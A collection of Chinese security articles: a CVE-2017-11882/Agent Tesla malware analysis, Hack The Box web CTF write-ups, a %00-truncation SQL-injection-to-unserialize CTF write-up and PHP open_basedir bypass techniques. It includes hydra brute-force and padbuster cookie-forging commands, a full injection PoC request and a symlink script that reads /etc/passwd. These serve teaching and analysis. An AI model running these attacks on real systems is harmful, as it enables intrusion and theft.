为了验证恶意RTF文件是否正在利用CVE-2017-11882，我们使用了由Talos开发的动态分析引擎PyREBox。该工具允许我们检测整个系统的执行并监控不同的事件，例如指令执行，内存读写，操作系统事件，还提供交互式分析功能，允许我们在任何时候检查任何模拟系统的状态。有关该工具的其他信息，请参阅有关其发布的博客文章以及Hack
in the Box 2018会议中提供的恶意软件监控脚本。
在此分析中，我们利用了影子堆栈插件，该插件与今年早些时候在EuskalHack Security Congress
III上的其他漏洞利用分析脚本（shellcode检测和堆栈旋转检测）一起发布（可用幻灯片）。此脚本监视在给定进程的上下文（在本例中为公式编辑器进程）下执行的所有调用和RET指令，并维护一个影子堆栈，用于跟踪所有有效的返回地址（每个执行的调用指令后面的地址）。
我们唯一需要做的是配置插件来监控公式编辑器进程（插件将等待它被创建），并在模拟的guest虚拟机中打开RTF文档。只要RET指令跳转到不在调用指令之前的地址，PyREBox就会停止执行系统。这种方法允许我们检测堆栈的溢出错误，这些错误会覆盖存储在堆栈中的返回地址。一旦执行停止，PyREBox就会产生一个交互式IPython
shell，它允许我们检查系统并调试和/或跟踪公式编辑器过程的执行。
PyREBox将停止在0x00411874的返回地址上执行，该地址属于CVE-2017-11882中报告的易受攻击的函数。在这种情况下，恶意软件作者决定利用此漏洞，用公式编辑器的主可执行模块中包含的地址覆盖返回地址：0x0044fd22。如果我们检查这个地址（参见图13），我们会看到它指向另一个RET指令，该指令将从堆栈中弹出另一个地址并跳转到它。影子堆栈插件将会再次检测到这种情况，并在下一步利用时停止执行。
图14显示了shellcode的第一个阶段，它在第二个RET之后执行。此shellcode将调用GlobalLock函数（0x18f36e），然后将跳转到包含shellcode第二阶段的第二个缓冲区。
shellcode的第二阶段由一系列jmp / call指令和一个解密循环组成。
此解密循环将解包shellcode的最终有效负载，最后跳转到此解码缓冲区。PyREBox允许我们在执行期间的任何时刻转储包含shellcode的内存缓冲区。有几种方法可以实现这一点，其中一种的是使用波动率框架（可通过PyREBox
shell获得）列出进程中的VAD区域并转储包含有趣代码的缓冲区。然后可以将此缓冲区导入IDA Pro以进行更深入的分析。
shellcode的最后阶段非常简单。
它利用标准技术在PEB中可用的已加载模块的链接列表中查找kernel32.dll模块，然后，解析其导出表以找到LoadLibrary和GetProcAddress函数。
通过使用这些函数，该脚本解析了几个API函数（ExpandEnvironmentStrings，URLDownloadToFileA和ShellExecute），从URL下载并执行xyz.123二进制文件，我们已经在Threat
Grid分析中看到过。shellcode以名称“scvhost.exe”启动此可执行文件，我们之前在Threat Grid报告中也看到过这个名称。
我们还看到了其他几个使用完全相同的感染链的活动，但是将Loki作为最终的有效载荷。我们在IOC部分列出了这些内容。
### Payload细节问题
如果您更喜欢上面的进程名称，让我们查看最终的有效负载文件“xyz.123”（a8ac66acd22d1e194a05c09a3dc3d98a78ebcc2914312cdd647bc209498564d8）或“scvhost.exe”。$
file xyz123.exe xyz123.exe：用于MS Windows的PE32可执行（GUI）Intel 80386 Mono /
.Net程序集将文件加载到dnSpy - 一个.NET程序集编辑器，反编译器和调试器 - 确认它是一个严重混淆的.NET可执行文件。
从类构造函数（cctor）开始执行的方法。
<Module>.ҭъЩӂӬҀУ\u0486\u0489їҒреӱҤЫѝйҹП()
它将一个大型数组加载到内存中并对其进行解码。cctor的其余部分从数组中重构xs.dll和其他代码，并在入口点继续执行其他例程。
最后，它通过调用P.M（）方法跳转到xs.dll中。
这个很有意思，因为它向我们展示了一个众所周知的工件，它表明该程序集是用Agile.Net混淆器进行混淆的。
由于没有自定义混淆，我们可以只执行该文件，等待一段时间，然后通过Megadumper转储它，这是一个直接从内存转储.NET可执行文件的工具。这已经看起来好多了。
但是，混淆器使用H.G（）方法加密了所有字符串，我们无法看到这些字符串的内容。
幸运的是，de4dot
.NET反混淆工具用一个命令解决了它。我们只需要告诉它样本中的哪个方法用于在运行时解密字符串。这是通过从相应的方法（在本例中为0x06000001）移交令牌来完成的。De4dot在自动检测Agile
.NETobfuscator时遇到问题，因此我们必须通过'-p'选项移交此功能。
即使看起来操作失败，它也已成功替换所有混淆的字符串并将其恢复，如下所示。
检查源代码向我们展示了对手正在使用销售灰色软件产品的公司销售的信息窃取者/ RAT：特工Tesla。Agent
Tesla包含许多可疑功能，例如密码窃取，屏幕捕获和下载其他恶意软件。 但是，该产品的卖家表示它用于密码恢复和儿童监控。
该恶意软件带有密码窃取程序，可用于超过25种常见应用程序和其他rootkit功能，如键盘记录，剪贴板窃取，屏幕截图和网络摄像头访问。密码从以下应用程序中被盗，其中包括：
Chrome
Firefox
Internet Explorer
Yandex
Opera
Outlook
Thunderbird
IncrediMail
Eudora
FileZilla
WinSCP
FTP Navigator
Paltalk
Internet Download Manager
JDownloader
Apple keychain
SeaMonkey
Comodo Dragon
Flock
DynDNS
此版本附带用于SMTP，FTP和HTTP渗透的例程，但仅使用HTTP
POST，您可以在下面的图26中看到。关于使用哪种exfiltration方法的决定是在存储在配置中的变量中进行硬编码的，几乎所有方法都会检查这样：
if (Operators.CompareString(_P.Exfil, "webpanel", false) == 0)
...
else if (Operators.CompareString(_P.Exfil, "smtp", false) == 0)
...
else if (Operators.CompareString(_P.Exfil, "ftp", false) == 0)
例如，它创建POST请求字符串，如下面的图27所示。
然后，在发送之前用3DES对其进行加密（图28）。图26中的_P.Y（“0295A ...
1618C”）方法创建字符串的MD5哈希，此哈希用作3DES加密。
### 总结
这是一个高效的恶意软件广告系列，可以避免被大多数防病毒应用程序检测到。因此，有必要使用Threat Grid等其他工具来保护您的组织免受这些威胁。
因其复杂性，此恶意软件背后的角色使用RTF标准，并使用Microsoft Office的修改漏洞来下载Agent
Tesla和其他恶意软件。玩家是否手动更改了漏洞，或者他们是否使用工具生成shellcode，这一点尚不完全清楚。无论哪种方式，这表明执行者或他们的工具有能力修改汇编代码，使得生成的操作码字节看起来完全不同，但仍然可以利用相同的漏洞。这种技术可以很好地用于将来以隐秘的方式部署其他恶意软件。
### IOC
Maldocs
cf193637626e85b34a7ccaed9e4459b75605af46cedc95325583b879990e0e61 - 3027748749.rtf
A8ac66acd22d1e194a05c09a3dc3d98a78ebcc2914312cdd647bc209498564d8 - xyz.123
38fa057674b5577e33cee537a0add3e4e26f83bc0806ace1d1021d5d110c8bb2 - Proforma_Invoice_AMC18.docx
4fa7299ba750e4db0a18001679b4a23abb210d4d8e6faf05ce2cbe2586aff23f - Proforma_Invoice_AMC19.docx
1dd34c9e89e5ce7a3740eedf05e74ef9aad1cd6ce7206365f5de78a150aa9398 - HSBC8117695310_doc
#### 分发域
avast[.]dongguanmolds[.]com
avast[.]aandagroupbd[.]website
#### 来自hxxp://avast[.]dongguanmolds[.]com的Loki相关样本
a8ac66acd22d1e194a05c09a3dc3d98a78ebcc2914312cdd647bc209498564d8 - xyz.123
5efab642326ea8f738fe1ea3ae129921ecb302ecce81237c44bf7266bc178bff - xyz.123
55607c427c329612e4a3407fca35483b949fc3647f60d083389996d533a77bc7 - xyz.123
992e8aca9966c1d42ff66ecabacde5299566e74ecb9d146c746acc39454af9ae - xyz.123
1dd34c9e89e5ce7a3740eedf05e74ef9aad1cd6ce7206365f5de78a150aa9398 - HSBC8117695310.doc
d9f1d308addfdebaa7183ca180019075c04cd51a96b1693a4ebf6ce98aadf678 - plugin.wbk
#### Loki相关网址
hxxp://46[.]166[.]133[.]164/0x22/fre.php
hxxp://alphastand[.]top/alien/fre.php
hxxp://alphastand[.]trade/alien/fre.php
hxxp://alphastand[.]win/alien/fre.php
hxxp://kbfvzoboss[.]bid/alien/fre.php
hxxp://logs[.]biznetviigator[.]com/0x22/fre.php
#### 其他相关样本
1dd34c9e89e5ce7a3740eedf05e74ef9aad1cd6ce7206365f5de78a150aa9398
7c9f8316e52edf16dde86083ee978a929f4c94e3e055eeaef0ad4edc03f4a625
8b779294705a84a34938de7b8041f42b92c2d9bcc6134e5efed567295f57baf9
996c88f99575ab5d784ad3b9fa3fcc75c7450ea4f9de582ce9c7b3d147f7c6d5
dcab4a46f6e62cfaad2b8e7b9d1d8964caaadeca15790c6e19b9a18bc3996e18a | 社区文章 |
> Hack The Box是一个在线平台，可让你测试和提升你的网络安全技能，本文主要是web部分5题的解题思路，欢迎留言其他的思路
## [20 Points] Lernaean [by Arrexel]
### 问题描述：
Your target is not very good with computers. Try and guess their password to
see if they may be hiding anything!
访问地址是一个登入，提示不要爆破密码，可是google一下Lernaean，第一条就是hydra，不爆破有鬼
爆破成功
# hydra -l admin -P /usr/share/wordlists/rockyou.txt docker.hackthebox.eu http-post-form "/:password=^PASS^:Invalid password!" -s 35414
Hydra v8.6 (c) 2017 by van Hauser/THC - Please do not use in military or secret service organizations, or for illegal purposes.
Hydra (http://www.thc.org/thc-hydra) starting at 2018-09-18 03:32:16
[DATA] max 16 tasks per 1 server, overall 16 tasks, 14344399 login tries (l:1/p:14344399), ~896525 tries per task
[DATA] attacking http-post-form://docker.hackthebox.eu:35414//:password=^PASS^:Invalid password!
[35414][http-post-form] host: docker.hackthebox.eu login: admin password: leonardo
1 of 1 target successfully completed, 1 valid password found
Hydra (http://www.thc.org/thc-hydra) finished at 2018-09-18 03:33:05
burp抓包，得到flag
## [30 Points] Cartographer [by Arrexel]
### 问题描述：
Some underground hackers are developing a new command and control server. Can
you break in and see what they are up to?
访问分配给我们的动态地址<http://docker.hackthebox.eu:41098/>，是一个登入的页面
随便输入一些数据、提交、开代理抓包
使用burp scanner进行初步的扫描，发现注入问题
使用sqlmap进行利用
桥兜卖呆，既然登入位置有注入为什么需要完整的利用注入呢？，直接上万能密码
wtf!正在建设？啥没看见flag...
把home删除看看
很明显了，直接读flag
## [30 Points] HDC [by Thiseas]
### 问题描述：
We believe a certain individual uses this website for shady business. Can you
find out who that is and send him an email to check, using the web site's
functionality?
Note: The flag is not an e-mail address.
同样访问地址，又是一个登入
cewl+hydra爆破无果、hydra+rockyou爆破无果、注入无果
查看前端资源，myscript.js中未发现什么特别的
还发现一个jquery，和官网下载的同版本js比对一下，发现了多处一段内容
和myscript.js不同的doprocess函数如下
function doProcess()
{var form=document.createElement("form"); form.setAttribute("method","post"); form.setAttribute("action","main/index.php"); form.setAttribute("target","view"); var hiddenField=document.createElement("input"); hiddenField.setAttribute("type","hidden"); hiddenField.setAttribute("name","name1"); hiddenField.setAttribute("value","TXlMaXR0bGU"); var hiddenField2=document.createElement("input"); hiddenField2.setAttribute("type","hidden"); hiddenField2.setAttribute("name","name2"); hiddenField2.setAttribute("value","cDB3bmll"); form.appendChild(hiddenField2); form.appendChild(hiddenField); form.appendChild(hiddenField2); document.body.appendChild(form); window.open('','view'); form.submit();}
发现了疑似密码，TXlMaXR0bGU/cDB3bmll，成功登入
简单浏览一下，几个展示页面一个发邮件页面、一个邮箱列表页面，根据题目的描述关键应该就是找这个邮箱了
发现上图的箭头位置点不了，审查元素发现_secret_area_目录，访问得到邮箱地址列表
All good boys are here... hehehehehehe!
---------------------------------------- Peter Punk CallMePink@newmail.com
Nabuchodonosor BabyNavou@mailpost.gr
Ilias Magkakos imagkakos@badmail.com
Nick Pipshow NickTheGreek@mail.tr.gr
Don Quixote Windmill@mail.gr
Crazy Priest SeVaftise@hotmail.com
Fishroe Salad fishroesalad@mail.com
TaPanta Ola OlaMaziLeme@mail.gr
Laertis George I8aki@mail.gr
Thiseas Sparrow Pirates@mail.gr
Black Dreamer SupaHacka@mail.com
Callme Daddy FuckthemALL@mail.com
Aggeliki Lykolouli FwsStoTounel@Traino.pourxetai
Kompinadoros Yannnnis YannisWith4N@rolf.com
Serafino Titamola Ombrax@mail.gr
Joe Hard Soft@Butter.gr
Bond James MyNameIsBond@JamesBond.com
Endof Text EndOfLine@mail.com
使用burp截获发邮件请求、挨个访问，发现flag
## [50 Points] I know Mag1k [by rkmylo]
### 问题描述：
Can you get to the profile page of the admin?
访问分配的地址，是一个带注册的登入页面
尝试常规注入，无效
来到注册页面注册，再退出，在使用已有的用户名登入会发现有一个用户名枚举的漏洞
这时的一个思路就是先通过暴力破解，枚举出管理员的用户名，然后结合二次注入注册一个类似"admin'
--"的用户来成为管理员，但是通过hydra+rockyou.txt百万级别的字典也没有爆破出来用户名，我猜想这样的思路应该是错了，将思路转向登入后的页面
很简单的界面，就一个USER
PROFILE的button安装题目的意识也就是去访问admin的profile页面，首当其冲就是cookie了，在cookie中发现一个iknowmag1k值很可疑
看着像padding oracle，padbuster了一遍，出的结果是乱码，在[hack the
box](https://forum.hackthebox.eu/discussion/658/i-know-mag1k)的论坛发现了坑的所在，要带上PHPSESSID（帖子里是说所有的cookie，实测带上这个就行了），padding出来的结果
# padbuster http://docker.hackthebox.eu:34849/profile.php 0lmHd9%2FcTX0Vak4CqgLiavL0Ard%2BFF471QQ5LvkQleBTfmVLxJsvRA%3D%3D 8 --cookie "iknowmag1k=0lmHd9%2FcTX0Vak4CqgLiavL0Ard%2BFF471QQ5LvkQleBTfmVLxJsvRA%3D%3D;PHPSESSID=h8pl413ekrj16ni133irv92nv4"
+-------------------------------------------+
| PadBuster - v0.3.3 |
| Brian Holyfield - Gotham Digital Science |
| labs@gdssecurity.com |
+-------------------------------------------+
INFO: The original request returned the following
[+] Status: 200
[+] Location: N/A
[+] Content Length: 3849
INFO: Starting PadBuster Decrypt Mode
*** Starting Block 1 of 4 ***
INFO: No error string was provided...starting response analysis
*** Response Analysis Complete ***
The following response signatures were returned:
------------------------------------------------------- ID# Freq Status Length Location
------------------------------------------------------- 1 1 200 3849 N/A
2 1 500 63 N/A
3 ** 254 500 2203 N/A
-------------------------------------------------------
Enter an ID that matches the error condition
NOTE: The ID# marked with ** is recommended : 3
Continuing test with selection 3
[+] Success: (186/256) [Byte 8]
[+] Success: (147/256) [Byte 7]
[+] Success: (83/256) [Byte 6]
[+] Success: (66/256) [Byte 5]
[+] Success: (255/256) [Byte 4]
[+] Success: (12/256) [Byte 3]
[+] Success: (132/256) [Byte 2]
[+] Success: (95/256) [Byte 1]
Block 1 Results:
[+] Cipher Text (HEX): 156a4e02aa02e26a
[+] Intermediate Bytes (HEX): a97bf204baae6f47
[+] Plain Text: {"user":
Use of uninitialized value $plainTextBytes in concatenation (.) or string at /usr/bin/padbuster line 361, <STDIN> line 1.
*** Starting Block 2 of 4 ***
[+] Success: (252/256) [Byte 8]
[+] Success: (110/256) [Byte 7]
[+] Success: (221/256) [Byte 6]
[+] Success: (126/256) [Byte 5]
[+] Success: (219/256) [Byte 4]
[+] Success: (199/256) [Byte 3]
[+] Success: (228/256) [Byte 2]
[+] Success: (193/256) [Byte 1]
Block 2 Results:
[+] Cipher Text (HEX): f2f402b77e145e3b
[+] Intermediate Bytes (HEX): 371b3f2086209005
[+] Plain Text: "qq","ro
*** Starting Block 3 of 4 ***
[+] Success: (161/256) [Byte 8]
[+] Success: (209/256) [Byte 7]
[+] Success: (158/256) [Byte 6]
[+] Success: (168/256) [Byte 5]
[+] Success: (120/256) [Byte 4]
[+] Success: (218/256) [Byte 3]
[+] Success: (106/256) [Byte 2]
[+] Success: (106/256) [Byte 1]
Block 3 Results:
[+] Cipher Text (HEX): d504392ef91095e0
[+] Intermediate Bytes (HEX): 9e91208d5c612d5e
[+] Plain Text: le":"use
*** Starting Block 4 of 4 ***
[+] Success: (28/256) [Byte 8]
[+] Success: (110/256) [Byte 7]
[+] Success: (234/256) [Byte 6]
[+] Success: (8/256) [Byte 5]
[+] Success: (210/256) [Byte 4]
[+] Success: (190/256) [Byte 3]
[+] Success: (223/256) [Byte 2]
[+] Success: (81/256) [Byte 1]
Block 4 Results:
[+] Cipher Text (HEX): 537e654bc49b2f44
[+] Intermediate Bytes (HEX): a726442bfc1590e5
[+] Plain Text: r"}
------------------------------------------------------- ** Finished ***
[+] Decrypted value (ASCII): {"user":"qq","role":"user"}
[+] Decrypted value (HEX): 7B2275736572223A227171222C22726F6C65223A2275736572227D0505050505
[+] Decrypted value (Base64): eyJ1c2VyIjoicXEiLCJyb2xlIjoidXNlciJ9BQUFBQU=
-------------------------------------------------------
解密发现cookie的内容为{"user":"qq","role":"user"}，将其改为{"user":"qq","role":"admin"}，并使用padbuster加密
# padbuster http://docker.hackthebox.eu:34849/profile.php 0lmHd9%2FcTX0Vak4CqgLiavL0Ard%2BFF471QQ5LvkQleBTfmVLxJsvRA%3D%3D 8 --cookie "iknowmag1k=0lmHd9%2FcTX0Vak4CqgLiavL0Ard%2BFF471QQ5LvkQleBTfmVLxJsvRA%3D%3D;PHPSESSID=h8pl413ekrj16ni133irv92nv4" -plaintext "{\"user\":\"qq\",\"role\":\"admin\"}"
+-------------------------------------------+
| PadBuster - v0.3.3 |
| Brian Holyfield - Gotham Digital Science |
| labs@gdssecurity.com |
+-------------------------------------------+
INFO: The original request returned the following
[+] Status: 200
[+] Location: N/A
[+] Content Length: 3845
INFO: Starting PadBuster Encrypt Mode
[+] Number of Blocks: 4
INFO: No error string was provided...starting response analysis
*** Response Analysis Complete ***
The following response signatures were returned:
------------------------------------------------------- ID# Freq Status Length Location
------------------------------------------------------- 1 1 200 3845 N/A
2 ** 255 500 2203 N/A
-------------------------------------------------------
Enter an ID that matches the error condition
NOTE: The ID# marked with ** is recommended : 2
Continuing test with selection 2
[+] Success: (97/256) [Byte 8]
[+] Success: (155/256) [Byte 7]
[+] Success: (87/256) [Byte 6]
[+] Success: (153/256) [Byte 5]
[+] Success: (61/256) [Byte 4]
[+] Success: (188/256) [Byte 3]
[+] Success: (151/256) [Byte 2]
[+] Success: (167/256) [Byte 1]
Block 4 Results:
[+] New Cipher Text (HEX): 380060bb67ae639a
[+] Intermediate Bytes (HEX): 516e42c663aa679e
[+] Success: (194/256) [Byte 8]
[+] Success: (151/256) [Byte 7]
[+] Success: (249/256) [Byte 6]
[+] Success: (41/256) [Byte 5]
[+] Success: (212/256) [Byte 4]
[+] Success: (209/256) [Byte 3]
[+] Success: (102/256) [Byte 2]
[+] Success: (197/256) [Byte 1]
Block 3 Results:
[+] New Cipher Text (HEX): 5ff80b13f1650f52
[+] Intermediate Bytes (HEX): 339d2929d3046b3f
[+] Success: (132/256) [Byte 8]
[+] Success: (51/256) [Byte 7]
[+] Success: (125/256) [Byte 6]
[+] Success: (192/256) [Byte 5]
[+] Success: (105/256) [Byte 4]
[+] Success: (123/256) [Byte 3]
[+] Success: (98/256) [Byte 2]
[+] Success: (164/256) [Byte 1]
Block 2 Results:
[+] New Cipher Text (HEX): 76e8f2b068a2bd12
[+] Intermediate Bytes (HEX): 549983924480cf7d
[+] Success: (130/256) [Byte 8]
[+] Success: (167/256) [Byte 7]
[+] Success: (153/256) [Byte 6]
[+] Success: (11/256) [Byte 5]
[+] Success: (226/256) [Byte 4]
[+] Success: (20/256) [Byte 3]
[+] Success: (142/256) [Byte 2]
[+] Success: (191/256) [Byte 1]
Block 1 Results:
[+] New Cipher Text (HEX): 32579f6894167945
[+] Intermediate Bytes (HEX): 4975ea1bf1645b7f
------------------------------------------------------- ** Finished ***
[+] Encrypted value is: MlefaJQWeUV26PKwaKK9El%2F4CxPxZQ9SOABgu2euY5oAAAAAAAAAAA%3D%3D
-------------------------------------------------------
使用新的cookie值登入，得到flag
## [70 Points] Grammar [by forGP]
### 问题描述：
When we access this page we get a Forbidden error. However we believe that
something strange lies behind... Can you find a way in and retrieve the flag?
访问分配的地址，不出所料是一个访问不到的403 Forbidden页面
目录爆破没有结果，所以很可能是思路错了，将GET改为POST，成功访问到了index页面
根据上面的提示说不是admin，解密cookie，ses的内容看看
修改admin的值为True，替换，访问出错
隐约感觉是mac参数的问题，在大佬的指点下看到了这篇文章<https://www.owasp.org/images/6/6b/PHPMagicTricks-TypeJuggling.pdf>
遂进行如下修改
替换cookie的到flag | 社区文章 |
# %00截断配合反序列化的奇妙利用
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 前言
前段时间做了一个CTF题目，发现这道题目相当的精妙，主要是利用了`%00`的截断来绕过安全校验，最终利用反序列化达成目的。
## 漏洞分析
### 可控点
整个代码十分的简单，就是猜数字的游戏，但是按照正常的逻辑是无法成功的，那么必然存在漏洞。
在`config.php`中:
foreach ($_GET as $key => $value ) {
$_GET[$key] = daddslashes($value);
}
foreach ($_POST as $key => $value ) {
$_POST[$key] = daddslashes($value);
}
foreach ($_COOKIE as $key => $value ) {
$_COOKIE[$key] = daddslashes($value);
}
foreach ($_SERVER as $key => $value ) {
$_SERVER[$key] = addslashes($value);
}
function daddslashes($string) {
if(!get_magic_quotes_gpc()) {
if(is_array($string)) {
foreach($string as $key => $val) {
$string[$key] = daddslashes($val);
}
} else {
$string = addslashes($string);
}
}
return $string;
}
对GET、POST、Cookie和SERVER都进行了转义。
分析`session.class.php`代码：
class session
{
function __construct(&$db, $session_id='', $session_table = 'session', $session_name='SESSID')
{
$this->dbConn = $db;
$this->session_name = $session_name;
$this->session_table = $session_table;
$this->_ip = $this->real_ip();
// some other code
if ($session_id == '' && !empty($_COOKIE[$this->session_name]))
{
$this->session_id = $_COOKIE[$this->session_name];
}
// some other code
if ($this->session_id)
{
$this->load_session();
}
else
{
$this->gen_session_id();
setcookie($this->session_name, $this->session_id . $this->gen_session_key($this->session_id));
}
}
function real_ip()
{
static $realip = NULL;
if ($realip !== NULL)
{
return $realip;
}
if (isset($_SERVER))
{
if (isset($_SERVER['HTTP_X_FORWARDED_FOR']))
{
$realip = $_SERVER['HTTP_X_FORWARDED_FOR'];
}
elseif (isset($_SERVER['HTTP_CLIENT_IP']))
{
$realip = $_SERVER['HTTP_CLIENT_IP'];
}
else
{
if (isset($_SERVER['REMOTE_ADDR']))
{
$realip = $_SERVER['REMOTE_ADDR'];
}
else
{
$realip = '0.0.0.0';
}
}
}
else
{
$realip = '0.0.0.0';
}
return $realip;
}
}
其中，变量`$this->_ip`是由函数real_ip()得到，其实是从`$_SERVER['HTTP_X_FORWARDED_FOR']`等变量中取到的，意味着变量`$_SERVER['HTTP_X_FORWARDED_FOR']`是可控的。
变量`$this->session_id`是从变量`$_COOKIE["SESSID"]`中得到的，同样是可控的。
所以目前看到这里，我们已经知道了变量`$this->_ip`和变量`$this->session_id`都是我们可控的。
### 漏洞点
发现在初始化中存在如下代码：
if ($this->session_id) {
$this->load_session();
}
如果存在`$this->session_id`,则调用`load_session()`函数，跟踪进入到`load_session()`中，进一步分析
function load_session()
{
$res = $this->dbConn->query('SELECT data FROM ' . $this->session_table . " WHERE session_id = '" . $this->session_id . "' and ip = '" . $this->_ip . "'");
$session = $res->fetch_array();
if (empty($session))
{
$this->insert_session();
}
else
{
$GLOBALS['_SESSION'] = unserialize($session['data']);
}
}
可以发现，在SQL语句中直接使用了`$this->_ip`,而这个`$this->_ip`是我们可控的，`$this->session_id`也是可控的，其次最后将数据取出来时使用了`unserialize($session['data'])`反序列化的操作。
根据直觉猜解，这个问题可能和SQL注入以及序列化漏洞有关。
### 漏洞利用
根据上面的猜测，漏洞可能和SQL注入以及序列化相关。但是漏洞利用均存在一定程度的问题。对于参数`$this->_ip`,虽然我们可控，但是还是被`'`包裹，同时之前也进行了转义，所以如果要利用必须要能够逃逸出单引号。其次，对于序列化漏洞，需要从`$session['data']`中读入数据，所以要能够利用序列化漏洞的话，则需要`$session['data']`的内容是可控的。但是通过分析，对于数据库中`data`表的数据我们是不可控的，所以序列化的利用也存在很大的问题了。
其实问题的本质是在于SQL注入漏洞，如果能够成功地进行`union`注入，也就意味着`$session['data']`的内容是可控的。那么问题就转为了如何进行注入了，注入的关键问题是在于逃脱引号。
分析SQL语句`SELECT data FROM ' . $this->session_table . " WHERE session_id = '" .
$this->session_id . "' and ip = '" . $this->_ip . "'`
如果`$this->_ip`无法逃逸出单引号，那么可以考虑一下`$this->session_id`是否能够逃逸出单引号。继续分析代码，
$tmp_session_id = substr($this->session_id, 0, 32);
if ($this->gen_session_key($tmp_session_id) == substr($this->session_id, 32))
{
$this->session_id = $tmp_session_id;
}
可以发现使用了`substr()`方法进行了阶段，那么是否能够利用截断的方法得到一个``呢？通过一个例子进行说明：
$mystr = "c4ca4238a0b923820dcc509a6f75849'";
$mystr = addslashes($mystr);
var_dump($mystr); // 结果为 c4ca4238a0b923820dcc509a6f75849' (length=33)
var_dump(substr($mystr, 0, 32)); //结果为 c4ca4238a0b923820dcc509a6f75849 (length=32)
说明通过截断的方式保留``是可行的。
解决了SQL注入的问题，接下来就需要解决反序列化的问题，序列化是字符串，但是由于之前使用了`addslashes`进行转义，即使能够使用SQL注入也无法进行反序列，
**此时需要可以采用十六进制来解决这个问题了。**
## 漏洞实施
在进行实际的测试时，我发现通过`'`会存在问题。当我们设置`SESSID=c4ca4238a0b923820dcc509a6f75849'eb2d9059`时，代码运行至：
$tmp_session_id = substr($this->session_id, 0, 32);
if ($this->gen_session_key($tmp_session_id) == substr($this->session_id, 32))
{
$this->session_id = $tmp_session_id;
}
其中的`$tmp_session_id`，截断之后变为`c4ca4238a0b923820dcc509a6f75849`。此时计算:
$this->gen_session_key($tmp_session_id) // 得到 eb2d9059
substr($this->session_id, 32) // 得到 'eb2d9059
可以看到多余的`'`被保留了，导致此处的判断无法相等，这样就存在问题。后来想到可以使用`%00`的方式得到``
$mystr = "QYHuItTPcsD1yj4npiRWGvChx0FLBw6%00";
$mystr = urldecode($mystr);
$mystr = addslashes($mystr);
var_dump($mystr); // 得到 QYHuItTPcsD1yj4npiRWGvChx0FLBw6 (length=32)
这样多余的0就可以作为后面的校验值了。
当我们设置`SESSID=QYHuItTPcsD1yj4npiRWGvChx0FLBw6%002ad2457`时，运行的结果如下：
这样就完成了SQL注入的第一步了，下面就是构造序列化的内容，然后转换为十六进制。序列化的内容十分的简单，需要设置分数大于100份即可，`a:2:{s:4:"name";s:6:"hahaha";s:5:"score";s:3:"102";}`,转换为十六进制`0x613a323a7b733a343a226e616d65223b733a363a22686168616861223b733a353a2273636f7265223b733a333a22313032223b7d`。
至此，所有的问题都解决了，最后的PoC为:
GET URL HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:56.0) Gecko/20100101 Firefox/56.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Cookie: SESSID=QYHuItTPcsD1yj4npiRWGvChx0FLBw6%002ad2457
X-Forwarded-For: /**/union select 0x613a323a7b733a343a226e616d65223b733a363a22686168616861223b733a353a2273636f7265223b733a333a22313032223b7d #
Connection: close
Upgrade-Insecure-Requests: 1
Cache-Control: max-age=0
注意设置Cookie和XXF。
## 总结
一般的截断通过是为了保留得到单引号，但是相较于常规的截断手法，你会发现在本例中完全不适用，无法绕过关键的校验是`$this->gen_session_key($tmp_session_id)
== substr($this->session_id, 32)`，同时在绕过了这个校验之后还需要保留单引号，最终采用`%00`截断完美地解决了这个问题。
这是一道非常好的题目，虽然所有的考察点都知道，但是结合在一起确实如此的精妙，遇到了问题看来需要多想多思考，在安全这条路上还有很长的一段路要走。 | 社区文章 |
## 前言
最近在学习php相关知识,想起有时拿到shell但无法访问指定目录。后某次机会在论坛上有位老哥指出如何bypass
open_basedir，特此学习总结了一些bypass姿势。
## open_basedir
open_basedir是php.ini中的一个配置选项，可用于将用户访问文件的活动范围限制在指定的区域。
在`php.ini`中设置`open_basedir`的值
设置`open_basedir=/var/www/html/`,通过web访问服务器的用户就无法获取服务器上除了`/var/www/html/`这个目录以外的文件。
假设这时连接一个webshell,当webshell工具尝试遍历和读取其他目录时将会失败。
## 通过系统命令函数
`open_basedir`对命令执行函数没有限,使用`system()`函数试一下
能够遍历上上级目录,而在webshell工具中时被禁止的,说明确实能够绕过
实际情况中,可能`system()`函数由于disable_function禁用无法使用,可通过同类执行命令函数绕过。
## 利用glob://绕过
### glob://伪协议
`glob://`是查找匹配的文件路径模式,`glob`数据流包装器自 PHP 5.3.0 起开始有效。
下面是[官方](https://www.php.net/manual/zh/wrappers.glob.php)的一个domo
<?php
// 循环 ext/spl/examples/ 目录里所有 *.php 文件
// 并打印文件名和文件尺寸
$it = new DirectoryIterator("glob://ext/spl/examples/*.php");
foreach($it as $f) {
printf("%s: %.1FK\n", $f->getFilename(), $f->getSize()/1024);
}
?>
需要和其他函数配合,单独的glob是无法绕过的。
并且局限性在于它们都只能列出根目录下和open_basedir指定的目录下的文件，不能列出除前面的目录以外的目录中的文件，且不能读取文件内容。
### 利用 DirectoryIterator+glob://
`DirectoryIterator` 类提供了一个简单的界面来查看文件系统目录的内容。
脚本如下:
<?php
$c = $_GET['c'];
$a = new DirectoryIterator($c);
foreach($a as $f){
echo($f->__toString().'<br>');
}
?>
### 利用 opendir()+readdir()+glob://
`opendir`作用为打开目录句柄
`readdir`作用为从目录句柄中读取目录
脚本如下
<?php
$a = $_GET['c'];
if ( $b = opendir($a) ) {
while ( ($file = readdir($b)) !== false ) {
echo $file."<br>";
}
closedir($b);
}
?>
只能列目录，php7可以用如下方法读非根目录文件,`glob:///*/www/../*` 可列举 `/var`
### 利用 scandir()+glob://
`scandir()`函数可以列出指定路径中的文件和目录
这种方法也只能列出根目录和open_basedir允许目录下的文件。
## 利用symlink绕过
`symlink()`函数创建一个从指定名称连接的现存目标文件开始的符号连接。
symlink(string $target, string $link): bool
symlink()对于已有的 target 建立一个名为 link 的符号连接。
而target一般情况下受限于open_basedir。
官方的domo:
<?php
$target = 'uploads.php';
$link = 'uploads';
symlink($target, $link);
echo readlink($link);
# 将会输出'uploads.php'这个字符串
?>
如果将要读取`/etc/passwd`poc如下
<?php
mkdir("A");
chdir("A");
mkdir("B");
chdir("B");
mkdir("C");
chdir("C");
mkdir("D");
chdir("D");
chdir("..");
chdir("..");
chdir("..");
chdir("..");
symlink("A/B/C/D","SD");
symlink("SD/../../../../etc/passwd","POC");
unlink("SD");
mkdir("SD");
?>
访问web后,将会生成名为POC的文件
分析一下poc过程:
